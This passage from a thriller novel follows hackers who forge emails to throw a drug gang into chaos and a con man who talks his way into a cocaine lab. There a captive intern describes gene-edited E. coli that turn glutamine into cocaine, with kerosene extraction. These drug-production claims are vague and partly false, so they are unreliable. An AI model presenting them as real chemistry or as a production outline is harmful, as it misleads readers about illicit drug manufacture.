Has anyone else just called Eugene? Whoever you are talking to IS NOT EUGENE. EUGENE IS RIGHT HERE WITH ME. DO NOT CALL EUGENE. BURN ALL EUGENE CONTACT INFO RIGHT NOW. THAT IS ORDER!!! If you want to talk to Eugene, call Leo or me.

Real. Danny's team followed it with another spoof from X D.

From: X D <xavierdaniels1989@yahoo.com>
Subject: RE: Just talked to Eugene
Sergey, what gives? I just talked to you on the phone like ten minutes ago and you gave a new phone num for Eugene. So do I burn both the old and the new number, or just the old and keep the new? I'm confused. Let me know what I shd do.

Sergey's real response came a few seconds later:

From: Sergey <sergey@pash.ly>
Subject: RE: Just talked to Eugene
What do you mean?? You just talked to me on a phone? No we didn't.

The hacker crew chased it with a series of forged messages from Sergey's minions.

DOPAMINE

From: X D <xavierdaniels1989@yahoo.com>
Subject: RE: Just talked to Eugene
Yeah we did. We talked on the phone just a little while ago.
Sergey, is everything ok?

From: 4 Shizzy <4shizzy@yahoo.com>
Subject: RE: Just talked to Eugene
Yeah man. Just got off the phone with u 2, u sounded a little weird.

From: Miguel <mg323329@msn.com>
Subject: RE: Just talked to Eugene
Sergey just call me on phone and tell me to make delivery to new address downtown. He sounded strange. I go check out the place, is right next to police station! Something about this is all wrong.

And in response, Sergey delivered his own coup de grâce:

From: Leo <leonya@pash.ly>
Subject: LOCKDOWN
This is Sergey. I using Leo email because Leo not having any problems, thanks God. I do not know what is going on. Somebody send out emails from my account, pretend to be me and gives strange orders. I change password, but problem continues. I also talked on phone to some of you, but then from others I get emails saying I talk to you when I did not.

I think what is happening is, DEA taps my phone and puts a virus on

DOPAMINE

my email. They even have someone impersonating me on phone! They trying to trick us into screwing up and bust us all.

So, I am calling a LOCKDOWN. Stop all sales IMMEDIATELY. There will be no more deliveries until further notice. Discard all supplies smaller than 50 gram. Anything bigger, hide IMMEDIATELY. Only four of you should have anything bigger than 50 gram right now anyway, I will have Leo contact you directly.

Those of you on payroll will still get your money for tonight, don't worry. Those of you on commission or resale, DO NOT TRY TO MAKE ONE LAST SALE. DISCARD product, understood? THAT IS ORDER. You try to sell anything more tonight, you will regret it.

I will contact each of you IN PERSON, FACE TO FACE, to tell you when this is over. Until then, LOCKDOWN.

That is all. Be safe.

-Sergey

And now Danny was watching the fallout from Sergey's decree, wishing he had a bag of buttered popcorn and a box of Milk Duds.

From: Jimmy J <rebelyeller88@gmail.com>

Subject: RE: Lockdown

Sergey, I can't just ditch my stash, man. I got a half an ounce here, it'll make over half a G on the street pure tonight, even more if I cut it. I got a shorty to feed, man. I need the money. Don't do this.

DOPAMINE

From: Booty Fresh <reggiereggie123@1and1email.com>

Subject: RE: Lockdown

Uh, boss, I'm sitting here with a suitcase full of cash ready to make an exchange with Silvio's guys over at the marina. You tellin me you want me to cancel on them? They not gonna be happy.

From: 4 Shizzy <4shizzy@yahoo.com>

Subject: O NO U DINT!

Sergey dog u know u my bro but there is NO WAY ur callin lockdown when im sittin on a motherfucking kilo. Send me some boys stat, i got a guy in portland gonna take this shit off my hands and i really dont wanna deal wit him all by my lonesome.

From: Jimmy J <rebelyeller88@gmail.com>

Subject: RE: O NO U DINT!

At least he's letting you keep your stash, Shiz. He wants the rest of us to just throw everything away.

From: Leo <leonya@pash.ly>

Subject: RE: O NO U DINT!

4 Shizzy do NOT move that batch to Portland! I will send Leo to buy it back from you IN PERSON. Booty, I will meet with Silvio's men myself tonight. Where are you right now? Are you at marina yet?
-Sergey

From: Miguel <mg323329@msn.com>

Subject: RE: O NO U DINT!

DOPAMINE

¡Booty Fresh no le diga donde usted esta, el podria ser un impostor!

From: 4 Shizzy <4shizzy@yahoo.com>
Subject: RE: O NO U DINT!
Yo Miguel's right. How do we know ur the real Sergey?

From: Jimmy J <rebelyeller88@gmail.com>
Subject: RE: O NO U DINT!
Hey that's a good point. How do we even know it was the real Sergey that called lockdown? I bet this is all just some other crew trying to fuck with us. Screw that, I ain't throwing away shit.

As Danny read the emails coming in, he did his best to refrain from guffawing like a tickled hyena. He failed.

"Things going according to plan?" Jason asked him.

"I think we broke the mob!" Danny chortled.

Jason took a deep breath. "You feeling ready to go in?" he asked.

Danny gave a nod. "Don't get us killed, okay?"

"Let me do all the talking," said Jason, "and I think we'll be alright. Now, you're sure we got all my insurance papers and license info out of here back on Pill Hill?"

“Yep, I left everything with that Natalie woman,” Danny nodded. “This car’s as clean as a hard drive inside a tokamak.”

Jason blinked at him.

“It’s, um, it’s *clean*, is what I’m getting at,” Danny clarified. “There’s no trace of your identity in here.”

“Good. I don’t want a repeat of what happened to Tina. Maybe we should slap some mud on my license plate or something, too?”

“Nah,” said Danny. “That won’t be necessary.”

“Why not? Because you don’t think the Russian mob can hack into the Department of Motor Vehicles?”

“No. Because you don’t have a front plate, and half of your back plate is currently a bullet hole.”

“Oh,” Jason said with a frown. “Alright. Well, then. Let’s get started.”

Jason turned the Navigator’s ignition. But before driving, he first ran his hands through his hair and ruffled up his gelled gray strands until they looked spastic and unkempt. He moved his head to take a look at himself in the Navigator’s rearview mirror, drew several deep, long breaths, and stared deeply into his own eyes. He kept his gaze for almost a minute, and in that time his face changed very subtly, just at the threshold of Danny’s perception.

Danny found the prolonged silence awkward. “We gonna go?” he asked innocently.

Jason turned his face back at Danny, and glared at him contemptuously. His wrinkle-framed eyes looked dark. Brooding. Strong. And *mean*. “I told you to keep your mouth shut!” Jason snarled with a voice half an octave lower than usual. “Don’t make me tell you again.” With that, he decisively set his face forward and put the car into gear.

They drove along a small gray road that served as a tributary for East Marginal Way. The road wound through the busy spaces between the fulfillment houses, abuzz with workmen loading boxes onto trucks. The car drove slowly, adhering carefully to the route on Jason’s GPS unit. The activity around them dwindled as they headed deeper into the industrial complex.

They reached the tall weed-lined back fence of the property, and rounded a corner to a long, wide alley. Along the back fence stood dumpsters and a handful of parked cars. A few poorly maintained streetlamps created islands of dim, shadow-laden visibility in the long straight stretch of darkness.

The headlights of the SUV illuminated the dark figure of a man far in the alley, sitting at the bottom of a flight of metal stairs affixed to the brick exterior of the building. When the headlights fell on him, he rose and moved to stand in the car’s path. He was a muscular, well-built black man, sporting impressive dreadlocks.

In his hand he openly carried a complex-looking gun, blocky and rectangular with a wiry protrusion on its back and a very long ammo cartridge extending down from its pistol grip.

Jason showed no apprehension. He rolled the Navigator forward, pulled to a stop just a few yards short of the dreadlocked man, and turned on the car's cabin lights.

"Private property, guys," the black man said clearly and forcefully, his eyes glowing starkly in the SUV's headlights. "Turn around." Jason cut the engine and stepped out of the car, slowly but confidently, making sure to keep his hands visible.

The guard lifted the large blocky gun. "You got 'til the count of three. One..."

Jason stood beside the car and said, "Eugene's been shot."

The man's eyes widened. "What?" he asked grimly.

"The lab had heavy night security," Jason said, his voice gritty and cold. "Things got really ugly back there."

"The bitch said they had nothing," the man said tensely.

"The bitch lied," Jason replied without missing a beat. "Eugene'll be alright. Sergey's got someone patching him up right now. But we barely got out alive."

“Who the fuck are you?”

“They call me Numbers,” Jason told him steadily. “And that’s Diggitty in the car. Listen, would you mind putting the piece down? I’ve already been shot at enough tonight. Look at my ride, man. I’ve had to drive around in that thing all night.”

The guard kept the firearm aimed squarely at Jason, but after a glance at the car, his stance relaxed. “Why are you here?”

Jason answered, “We have the vial.” Moving very slowly, he withdrew the small tube from his jacket pocket.

The guard lowered the gun.

“I thought it had to be on ice,” he said.

“It does,” said Jason. “It’s melting as we speak. We have to hurry. The girl will know what to do with it. Is she alright?”

“She’s been crashing for like a week straight. But she’s fine,” said the guard.

“Who’s watching her?” asked Jason.

“Just Rex,” replied the guard.

Jason reached back into the car, pulled out the keys, and rounded the front of the SUV. The guard was reluctant to let him pass. "I better call the boss-man about this," he said.

"Haven't you been seeing the emails?" Jason reminded him. "He burned his phone and called lockdown. No cellphone or email contact. He says the feds are monitoring our communications. Tonight of all nights, right?"

The guard said nothing, mentally weighing his options.

"Look, no offense, man, but we got to get this thing in there stat," said Jason. "It's rotting as we speak."

The guard paused for a few seconds. Finally, grudgingly, he said, "Alright. Go on."

Jason proceeded toward the metal stairs behind the guard.

Danny hopped out of the Navigator. He reached into the back seat, pulled out his HERF gun, and hurried to catch up toward Jason.

"Whoa whoa whoa!" barked the guard. "Just what the hell is that?" The dreadlocked man's fierce eyes locked onto Danny.

Danny froze. He stood there, facing the guard, carrying the HERF gun slung over one shoulder, still wearing Natalie's oversized floral-print sweatshirt.

“It’s... a, um... bio... interferometric... decalibrator... for asymptotic percolation of...” he began to squeak out.

Jason immediately jumped in. “Please cut Diggitty some slack. He’s a little... slow, if you know what I mean. Actually, slow’s not even right. He’s great with machines and computers, but you make him talk to a human being and he practically pisses his pants.”

Danny tried to say something, but couldn’t decide on what. His feelings told him to argue but his brain told him to play into Jason’s improv role. He ended up just opening and closing his mouth a few times with a scared and hurt expression, which coincidentally made a believable display of mental deficiency.

The black man looked Danny up and down, and his hostile expression faded. “This one buddy of mine back in school, he had a kid brother like that. Autistic, right?”

“Yeah,” said Jason. “Asperger’s, actually, but close. Poor guy.”

“Dude would have to have something wrong with his brain to wear a shirt like that,” he said. A condescending smile crossed his face. “What’s that you got for us, Diggitty? Is that equipment for the lab?” the guard asked in an overly sweet tone normally reserved for pets and small children.

Danny nodded fearfully and complacently. Despite actually being a few inches taller than the guard, he felt like a tiny thing.

The man waved him through. "Alright, go do your thing."

Danny walked sheepishly past him to join Jason.

The black metal stairs ran straight along the outside of the building's brick face. Underneath the staircase was a set of large heavy double doors. The stairs topped off at a corrugated landing, where a single reinforced metal door with several keyholes awaited them.

Jason ascended the long stairs and knocked. Locks clicked open, and the door swung inward.

"Who the hell are you?" came a croaking, grizzled male voice from inside.

The door opened to a dimly lit office room, illuminated solely by the light of a monitor. The room was dominated by a desk, mostly empty save for the computer and some random papers. The wall along the desk was built of plate glass windows overlooking a large dark area. The wall adjacent to the door held a tiny bathroom. Across from the entrance was a pale blue door, apparently the only other way out of the room.

"You're Rex, right?" said Jason. "Sergey sent us. We've got stuff for the lab."

In front of the computer, in a rickety wheelie-chair, sat a scrawny man with long, stringy dirty blond hair, wearing cowboy boots and a denim jacket. He didn't seem old, but his pale skin looked far too wrinkled and pocked for his age. On the

desk next to him, beside a pair of earbud headphones connected to the computer, sat his firearm, the same kind of complex, blocky handgun held by the guard outside.

“Drop your shit off over there,” said the scrawny blond man, absentmindedly gesturing to a corner of the desk. “I’ll take it downstairs in the morning.”

“Actually, Rex, this kind of needs the girl’s immediate attention,” Jason said. He showed him the vial.

Rex bolted forward excitedly in his chair.

“It’s not doing too good,” said Jason, entering the room. Danny followed, closing the front door behind him. “It’s been out of a freezer for a couple hours now, and it’s beginning to rot. The girl needs to look at it, like, right now.”

“I’ll wake her up,” said Rex.

Still sitting in his wheelie-chair, Rex rolled over to the far wall and flipped a light switch. In the dark space beyond the wide windows, large parabolic metal lighting fixtures hanging from the ceiling flickered to life.

The gymnasium-style lights illuminated a concrete floor twenty feet below, between walls of cinder-block and brick. The industrial space was big enough for a small warehouse or machine shop, and extended beneath the overhanging office. Packing peanuts and torn-open cardboard boxes lay strewn mindlessly

around the floor. Throughout the room was a widely spread, haphazardly arranged array of chemistry and biology equipment, including racks of beakers and tubes, warning-labeled canisters of liquids, and machinery that looked like standalone dishwashers, ovens, a small refrigerator, and a large water-cooler.

The blond man stomped loudly on the floor. The sharp pounding of his boot resounded through the industrial space below the office.

“Rise and shine, princess!” he called out.

A faint shuffling noise rose from somewhere beneath the floor.

“Come on, get up! You got company!” he yelled, and stomped some more.

“Fuck off,” a young woman’s voice groaned from below.

“Move it, bitch! You know the drill,” he commanded. “Out where I can see you.”

There was movement among the torn cardboard and packing peanuts below. Out from the space underneath the office room emerged a small Asian girl. She was dressed in an ill-fitting t-shirt, sweatpants, and bunny slippers. She had a bruised lip, but otherwise seemed unhurt.

She walked to a corner of the factory room clearly visible from the open windows of the office above.

“Good girl! Stay!” Rex shouted down to her. To Jason, he calmly said, “Go on in. She’ll behave herself.”

Jason opened the pale blue door on the other side of the room, revealing an interior stairwell leading downward. Behind them, Rex put his headphone buds back into his ears and resumed watching the video on his computer. Danny followed Jason down the open stairwell to the factory floor below.

“**T**HANKS A LOT, JERK,” Danny muttered as they stepped down the interior stairs.

“For what?” Jason asked innocently.

“Asperger’s? You told the guy I had Asperger’s?”

Jason shrugged. “The best lies are based on truth.”

Danny mumbled disapprovingly.

The office from which they came was propped on unpainted I-beams above the factory floor. In the space beneath the office lay a naked mattress with a few blankets. An adjacent wall bore large metal double doors.

Julie Yen stood in the opposite corner. She eyed the two men apprehensively.

“Julie,” Jason said reassuringly from across the room. “Are you okay?”

“What do you want?” the Asian girl grumbled.

“Relax,” said Jason. “We’re friends. We’re not going to hurt you.” He navigated across the mess of packing peanuts and torn cardboard littering the floor.

“I’ve heard that a lot lately,” she said despondently. Her voice was slow, sad, and tired.

Following Jason toward the girl, Danny stepped over hoses and electrical cables that snaked across the floor underneath the mess. He stopped frequently to examine the fascinating equipment around him.

Near the center of the room was a glass vat, cylindrical and about two feet tall, sitting atop a three-foot base covered with dials and lights and meters, bearing readouts for temperature, pressure, salinity, and pH. Glass pipes led into the vat through a complex system of hoses and valves. It looked as though an office water cooler and a cappuccino machine had a baby, and that baby grew up aboard a nuclear submarine. The water inside it was hazy and silty like ocean brine.

Next to the vat sat a large pyramidal stack of plastic gallon-sized jars, just like the powdered diet supplements from the Rite-Aid earlier that night. Each one had a purple label on the front reading “L-Glutamine”.

The back wall was lined with blue and black 55-gallon drums, alongside pumping equipment and large plastic tubs. Each barrel bore the label “Kerosene” or “Acetone,” and a color-coded diamond of red, blue, yellow, and white to indicate hazard ratings.

On a large gray metal table next to the drums, sitting alone near bulbous glass equipment, was a plain glass bottle filled with clear liquid. The bottle was small, barely larger than a soda can. Its top was curved like a bell, and its neck was sealed with a rubber-lined glass stopper. Next to the bottle, on the silvery steel tabletop, lay black rubber gloves and a pair of eye goggles. The bottle bore no label.

Danny reached his hand toward the bottle. He wanted to turn it around and see if maybe there was some kind of engraving on the other side, or to shake it and see if the liquid inside would bubble.

“I wouldn’t touch that if I were you,” Julie’s voice said from the other side of the room.

Danny shook the sleeve of Natalie’s floral-print sweatshirt down so that it drooped over his hand, and tried again.

Julie scoffed, “Yeah, like that’ll help.”

“Why? What is it?” Danny asked innocently.

“Hydrochloric acid, at eleven molar concentration,” said Julie. “I told you idiots you only need three or four molar to stabilize the base. I’ll have to dilute the shit out of it.” She sighed tensely. “Don’t know why I’m even bothering to stop you. Go ahead, open it, enjoy. Assholes.”

Jason quietly interjected, “We’re not with the Russians.”

“What do you mean?” Julie asked suspiciously.

“Do you want to get out of here?” asked Jason conspiratorially.

Julie’s lower lip trembled. She scowled at Jason with a look of anger and despair. “I want...” she looked up at the dim windows of the overhead office and screamed, “...my *fucking blow!*” She grabbed a nearby piece of cardboard and threw it weakly upwards at the office windows. It didn’t get very far through the air before drifting harmlessly back down. “You assholes! You fucking shitheads! It’s the best shit they’ve ever seen, and they fucking stole it! It’s mine, god fucking damn it! Fuck...!” She slumped into the corner of the concrete walls and slid weakly down to sit on the floor, wrapped her arms around her knees and began to sob.

Rex’s head popped into view through the open office window above. “Knock it off down there, sweetie pie!” he yelled in his grizzly, prematurely aged voice. To Jason, he said, “If she gives you crap like that, just smack her in the mouth. She learns quick.” The man’s dirty blond head disappeared back into the office.

Jason squatted down next to her and said, "It'll be okay. I brought something that might cheer you up." He stretched his hand out, and for a moment her eyes grew bright and eager.

When she saw him present the Eppendorf tube, she looked away uninterested.

Jason seemed confused. "It's your secret vial," Jason said simply.

"No shit, Sherlock," she mumbled back.

"I kind of thought you'd be happy to see it," he said.

She turned away and moaned, "I'm such a fuck-up."

Jason thought for a few moments about what to say next. "What's the matter?" he tried.

"None of this was supposed to happen," she said, her speech trembling. "I was supposed to have a lab like this for myself, not for some giant Russian turd. I was supposed to be living in a penthouse in Pioneer Square and making so much money I could tell the entire world to go fuck itself. Instead I'm sleeping on that fucking mattress over there and I've got assholes pointing guns at me and it's all my fault. I should have just fucking done my job and finished my internship and never tried to act on this whole fucking stupid idea. The fuck was I thinking, that I could pull this off? I can't fucking do anything right."

Jason gave her a kind smile. "You know, you'd probably get along with my friend over there," he said gently. "I had to talk him through a major crisis of self-confidence earlier tonight. He gets really down on himself too."

"He should start doing coke," she suggested, her voice conveying no hint of jest or sarcasm. She added absentmindedly, "He's gonna burn his hands off, by the way."

Jason turned his head and saw Danny across the room, still by the metal table. "Danny," Jason called out reproachfully, "what the hell are you doing?"

Danny was still tentatively examining the glass bottle of clear liquid, fascinated by the fact that it alone, of all the rest of the chemical containers, bore no label. He had put down his HERF gun and picked up the bottle with his bare hands. He left it sealed, but jiggled it slightly to see if the liquid would bubble or congeal. It looked for all the world like perfectly normal water, but a very fine white mist hung suspended in the air inside the bottle above the waterline.

Danny heard the sound of someone shuffling toward him from across the factory room, and turned to look over his shoulder. Julie approached, looking a little irritated. Danny put the bottle down on the metal table and sheepishly backed away from it.

Without a word, Julie pulled on the black rubber gloves and strapped the goggles over her face. Holding the bottle with one hand, she gently pulled the stopper out from the top. Like fog from a freshly opened bottle of very cold beer, a thin trail of the fine white mist wafted gently upward, hanging softly in the air next to the bottle's opening.

The girl then reached down and grabbed a large random sheet of brown cardboard from the floor, still holding the stopper in her other gloved hand. She slowly moved the piece of cardboard over the bottle, letting it pass through the finger of mist rising from the neck.

The part of the cardboard that touched the mist silently blackened and charred before Danny's eyes.

Julie pulled the sheet away from the mist and gave it a slight shake, and chunks of the cardboard crumbled to ash onto the floor.

With the scarred cardboard in one hand and the stopper in the other, Julie brought the two together so that they would make contact.

Where the cardboard touched the stopper, it simply vanished. A trace of gray smoke rose briefly through the air, accompanied by a very faint hissing noise. When she took the stopper away, the brown sheet bore a perfectly circular hole, exactly the size and position of the bottom of the stopper, fringed with ash.

Julie quickly replaced the stopper into the neck of the bottle, and used the remaining cardboard sheet to absorb the acidic mist that hung in the air, causing parts of the cardboard to blacken and crumble in the process.

She turned to Danny. "That's why you don't fuck with this stuff! Got it?"

Danny, his eyes wide and his eyebrows raised high, gave a slow and emphatic nod.

Jason approached them, carefully making his way past the equipment. "What's all this stuff for?" he asked the girl, gesturing at the blue barrels of kerosene.

"It's high-volume alkaloid extraction and stabilization," Julie said, annoyed. "I've already explained it a hundred times..." After a pause, she added. "Oh, right. You're not with the Russians." She sat down limply on a folding chair near the gray steel table. In a lackluster tone, she said to Jason, "Can I see the sample?"

Jason cautiously passed the Eppendorf tube into her hand.

She studied it, turning the vial up and down several times and holding it up to her eyes.

"It's biofilming," she said. "That's good. It's supposed to."

"Is it okay?" asked Jason. "It's not, like, spoiled or rotten or anything?"

"It's *E. coli*. It is rot," she replied.

“Can you incubate it?” asked Jason.

“You’d like that, wouldn’t you?” said Julie, while looking pointedly at the water-cooler-like vat in the center of the room. “Everybody would. And then the second I finish a batch, one of these Russians is just going to take it all and put a bullet through my head.”

“I might be able to talk them into letting you go,” Jason offered.

“Fat chance,” Julie said despondently.

“It’s worth a try,” said Jason. “But I want you to tell me more about it first.”

Julie frowned. “Can you maybe at least get me some blow?”

“Tell me what’s in the vial,” said Jason, “and I’ll see what I can do about your drugs.”

“It’s a cocaine factory,” she said simply.

Jason looked around. “Yeah, I kind of gathered that.”

Julie held up the vial. “No, this. *This* is a cocaine factory.”

Jason blinked. “How do you mean?”

DOPAMINE

Julie pointed to the pyramid of large plastic jars near the cylindrical vat in the middle of the room. “You see those buckets of glutamine? You feed them that stuff, and they poop out benzoylecgonine.”

“Benzowhat?” said Jason.

“Cocaine,” Julie clarified. Her voice lacked any energy or passion.

“Benzoylecgonine. The world’s best targeted dopamine reuptake inhibitor.”

Jason remained expressionless. “That L-Glutamine stuff...” he said, eyeing the purple labels on the jars. “Is it hard to get?”

Julie looked at Jason with a face usually directed at the kid in class who eats his paste. “Uh... duh...? It’s *glutamine*.”

Jason shrugged.

Julie rolled her eyes. “It’s forty dollars for a kilogram at any GNC store. Even cheaper if you buy in bulk. And it converts to cocaine at almost 100% yield by mole. So you’re basically making cocaine at forty bucks a kilo.”

Jason let a smile break through his poker face. “So, you incubate the germs in that vial, then you pour in that glutamine stuff, and then suddenly you have cocaine?”

“More or less,” said Julie, her voice tired and bored. “I mean, there’s a little bit more to it. You have to give it time to let the enzymes process the glutamine, and then you have to mix the solution with kerosene and work with it like coca paste — the yield from the paste is about 21.4% by mass. And the kerosene kills the bacteria, so you need to keep a pure mother broth around and then drain a few liters off into disposable child broths, which you mix with the kerosene, whenever you want to make a batch. But in a nutshell, yeah.”

Danny stood next to the table with an expression of bewilderment. He was partially fascinated, partially shocked. “Wait, let me get this straight. This whole night, this whole hacking mission, I’ve been chasing after some kind of germ that’s been injected with the gene for cocaine?”

“There is no ‘gene for cocaine’. Cocaine isn’t a protein,” she said condescendingly. “It’s a crystalline tropane alkaloid. Do you have any idea how complicated its biosynthesis process is?”

“Umm... no?” Danny replied.

“Look, cellular machinery can’t create cocaine through normal gene expression,” said Julie in a passive drone. “But cellular machinery *can* create enzymes to catalyze the conversion of precursors — in this case, glutamine. That’s what happens in the *Erythroxylon coca* — the coca plant. There’s about sixteen steps in the natural biosynthesis of the benzoylecgonine tropane alkaloid. Those steps are catalyzed by about two dozen enzymes, six of which consist of multiple

peptide chains and two of which are themselves synthesized by other enzymes... The point is, unlike cocaine, enzymes are proteins. Enzymes *do* have genetic encodings. Which means..."

She left the pause pregnant, hoping that the implication would be obvious to the two men. Instead, they both stared at her blankly.

Julie rolled her eyes. "...Which means," she concluded for them, "that we can sequence those genes in the coca plant, and then splice them into a strain of *E. coli* for mass production. So the *E. coli* thinks they're part of its own genome, and manufactures them as if they're part of its normal repertoire of proteins. Got it?"

Danny nodded brightly. "Yeah!"

Julie eyed him skeptically. "You don't get it, do you?"

"No, I do!" Danny declared gleefully. "It's just like a DLL hijacking attack!"

Julie stared at him.

"It's how a lot of computer viruses work," Danny explained. "They copy a virus-riddled file into a specific place somewhere on your filesystem, so that the computer thinks that the file is part of some other application. When you run that application, the computer runs the virus along with the rest of the application's code."

Jason stared at the girl with a slightly combative expression. “Hmm. So, you successfully gene-spliced a coca plant into a laboratory germ in order to create a cocaine-producing bio-machine.”

“Yeah,” Julie said, somewhat proudly.

“That sounds like one hell of an engineering accomplishment,” he said.

Julie grinned. “Recombinant genetics isn’t for sissies.”

“So... how much of this genetic engineering did you perform on your own?” he asked her suggestively.

“What do you mean?” Julie replied.

“How did *you* get that vial?” Jason asked pointedly.

“What do you mean, how did I get it?” Julie said, a hint of anger adding a spark to her otherwise lifeless voice. “I just told you! It’s made from sequencing the *Erythroxylon coca* genome, taking all the genes of the entire metabolic pathway...”

“That doesn’t answer the question,” said Jason.

“I think it does,” Julie said defensively.

“It answers how Tungsten created it,” said Jason. “It doesn’t answer how *you* ended up with it. Look, I don’t know much about science, but I do know plenty about manpower and personnel management. The kind of engineering effort you’re describing would take years, even for a team of a dozen or more world-class researchers. I don’t think they’d just hand it off to an intern.”

“I’m a key member of the research staff!” Julie said defiantly.

“You’re a college sophomore,” said Jason coldly.

“They couldn’t have finished it without me!” she protested.

“Right. They needed *you* to sequence the coca plant genome,” Jason said sardonically. “They needed *you* to splice the genes into the *E. coli* strain. They needed *you* to figure out how to cultivate and process it.”

“That’s fucking right!” she spat. “I’m fucking smart, okay? I’m smarter than you, asshole! I’m smarter than both of you!” There was a tight vibrato to her voice.

“Yeah. So smart that you ended up here,” Jason said simply.

“God, shut the fuck up!” Julie yelled, her lip quivering. She rose from her folding chair and stormed across the room towards the naked mattress beneath the overhanging office, where she sat down in a huff. “You don’t even know, alright?”

“So tell me, then,” Jason coaxed. “Tell me how it all went down.”

Julie looked down wistfully and picked idly at a loose thread in the mattress. She paused for a long time, then quietly said, “Everything sucks,” her voice raspy with the beginnings of a sob.

Jason came over to sit down next to her on the mattress.

The girl sighed. “Creating cocaine-producing *E. coli* wasn’t just some kind of side-project at Tungsten. It’s the whole point of the company. It’s all they’ve been doing for about two years. This vial right here is everything they’ve been working for.”

“And they entrusted it to their intern?” asked Jason.

“They didn’t know I had it until it was too late,” said Julie.

Jason waited patiently for her to continue.

“Genetic engineering isn’t an exact science,” she explained. “It’s not like we can reach inside the nucleus of a coca plant with tiny little tweezers and pull out a specific DNA strand. Getting a gene from one organism into another is a very messy process, and it only goes right a tiny fraction of the time. It might actually become real ‘engineering’ like twenty or thirty years from now, but right now it’s a lot of trial and error. We use special chemicals called restriction enzymes to chop out the genes we want from the source organism. Each different restriction enzyme binds to one specific DNA sequence and cuts the DNA strand there. So, if we’ve sequenced a gene, then we can pick a restriction enzyme that binds to the

beginning of the gene and another that binds to the end, and then we mix them with the DNA. And, assuming we were right, the gene floats right out into the solution. But a lot of other unwanted chunks of DNA also float out along with it, because there's inevitably going to be other places in the genome that the restriction enzymes lock onto. Once you've gotten these chunks of DNA, you then have to fool an *E. coli* bacterium into absorbing them into its own genome. It's tricky because bacteria have evolved restriction modification systems to protect themselves from foreign DNA..."

Danny interrupted her excitedly. "Ooh! Just like Intrusion Prevention Systems on computer networks! I just learned about those today. The hard way."

Julie blinked at him and shrugged dismissively.

"Go on," Jason encouraged her.

"Right. So, you have to fool a bacterium into taking in your new chunk of DNA as its own," she continued. "You have to wrap the new gene into a plasmid, or load it into a bacteriophage virus, and so on. Oh, *and* you have to give the *E. coli* that *do* absorb your new gene some kind of survival advantage over ones that don't — that's usually done by something called a 'selectable marker', which is where we intentionally throw in a gene that makes the bacteria resistant to some kind of antibiotic. Or a 'screenable marker' which is where we add a gene for bioluminescence to make the desired bacteria glow in the dark. Because, don't forget, the whole time we're doing all this, we don't actually *see* what we're

working with — all we're doing is dripping vials of clear liquid into other vials of clear liquid and then adding brown goop to the mix and keeping our fingers crossed."

"So, what you're saying," said Jason, "is that it's very hit-or-miss work. You can do everything right, and in the end it could turn out that your germs didn't absorb any new DNA. Or they did absorb some new DNA, but it wasn't the DNA you were hoping for — it was some unwanted junk DNA instead."

"Right," said Julie. "Or they got the right DNA and inserted it into their genome successfully, but put it somewhere in the genome where it can't be expressed — where the transcription and translation systems can't find it, so it can't make new proteins."

"Which means you have to mix up another batch and try again, right?" said Jason.

"Over, and over, and over, and over..." said Julie. "And that's just for *one* gene. The metabolic pathway for cocaine synthesis has about forty."

"Sounds very repetitive," said Jason.

"It's mostly done by robots," said Julie. "But the robots turn up a lot of false positives, so you have to follow up with more tests by hand. It's super annoying and boring."

Jason smiled widely. "Oh! Yes. I get it now."

Julie made a meek, resigned noise.

"That's exactly the kind of task," said Jason, "that they'd give an intern."

"Yep," Julie said with a trace of annoyance.

"So all in all, the scientists had run tens of thousands of little mini-batches in these vials..." said Jason.

"Hundreds of thousands," Julie corrected. "Hell, maybe millions."

Jason continued, "...And you were the first one to see that one of these batches was a success."

"It was my job to check on them," she said irritably. "The other scientists couldn't be bothered with something so mundane. So, yeah, when one of the batches finally produced an *E. coli* strain that was expressing all the genes in the cocaine biosynthesis pathway, I was the first to see it."

"And you were supposed to call in the senior researchers upon seeing a success," Jason surmised. "But instead, you just..."

"Yeah," said Julie. "I just... you know..."

"Took it."

Julie nodded. “They started to realize that something was out of place. Damned if I know how. Sensor data from the robot, maybe? Anyway, they didn’t call me out on it. They were just starting to suspect me after a couple weeks. But by then I’d already set up a meeting with this Sergey guy... And the rest of the story is...”

Jason looked around the room, at the naked mattress and the unwashed, makeup-stained, pajama-clad Asian girl. “Yeah.”

In response, Julie simply stared wordlessly into empty space. She let herself roll backward onto the mattress. She turned her face away from Jason and curled up on her side into a fetal position, the Eppendorf tube held between the palms of her small hands.

Jason watched her in silence for a few long moments as she lay there, motionless except for her breathing. Danny, for his part, wandered over to the water-cooler-like cylindrical vat in the middle of the room to examine its elaborate plumbing systems.

Quietly, Jason asked her, “Are you okay?”

“No!” she answered from her fetal position. “No, I’m fucking not okay! God, I don’t understand why everything has to be so fucking hard!” She began to sob. “Nothing I do ever fucking works! Nothing is ever good enough! I get a full scholarship to the University of Washington and my parents are like, ‘Why not Berkeley or MIT?’ I score 97% on my organic chemistry final and break the curve, and they go, ‘How could you miss those three percent?’ I work so fucking hard,

just to feel the slightest shred of pride and accomplishment, and all I ever get is disappointment. All I want is just to be able to enjoy the feeling of knowing that I did *something* right for once in my life. *Anything*. Is that really so fucking much? I figured all I needed was one single score, just do one single goddamned thing, so I could show everybody that I can measure up. Just to prove to the world, 'Look at me, fuckers! I win! I don't care what you say! I *am* good enough!' Except... Except I'm obviously not."

Jason reached out to try to pat her reassuringly on the shoulder.

Her voice thin and weak, she asked, "Can you please get me some coke now?"

He paused for a second, and said, "Okay, Julie. I'll go upstairs and talk to Rex and see what I can do."

"Thank you," she whimpered, still not moving from her fetal position.

"But first, I want you to explain one more thing to me."

She sat back up and shot him an irritated glare. "Oh fuck, come on!" she whined.

"I've told you everything! What the hell else do you want to know?"

Jason gave her a steely gaze. "You've told me the how, but not the why."

"What do you mean?"

“You said Tungsten was working full-time to develop this organic cocaine dispenser,” said Jason. “But why would they do that? From a market perspective, that doesn’t make any sense. The end product is illegal. They wouldn’t be able to sell it anywhere. What was Tungsten’s market strategy?”

“You mean like how to make money off of it?” asked Julie. “Fuck if I know. I was just on the science end of things. Who cares, anyway?”

“Me,” said Jason flatly. “I care. I care a lot.”

“All I know are rumors,” she said. “If I tell them to you, will you go get me some coke already?”

“Yes,” said Jason.

“Promise?” she insisted.

“Pinky-swear.”

“Fine,” she grumbled. “The thing is, Doctor P. never talked about it, but the other scientists had some ideas. They believe the future of psychopharmacology is dopamine.”

“Dopamine?” asked Jason.

DOPAMINE

“It’s a neurotransmitter — a chemical in your brain,” said Julie. “It’s the main hormone found in a part of the brain called the nucleus accumbens, the ‘pleasure center’ or ‘reward center’. Dopamine also runs a shitload of other stuff in your brain, but we figure the reward pathway is sort of the key to it all.”
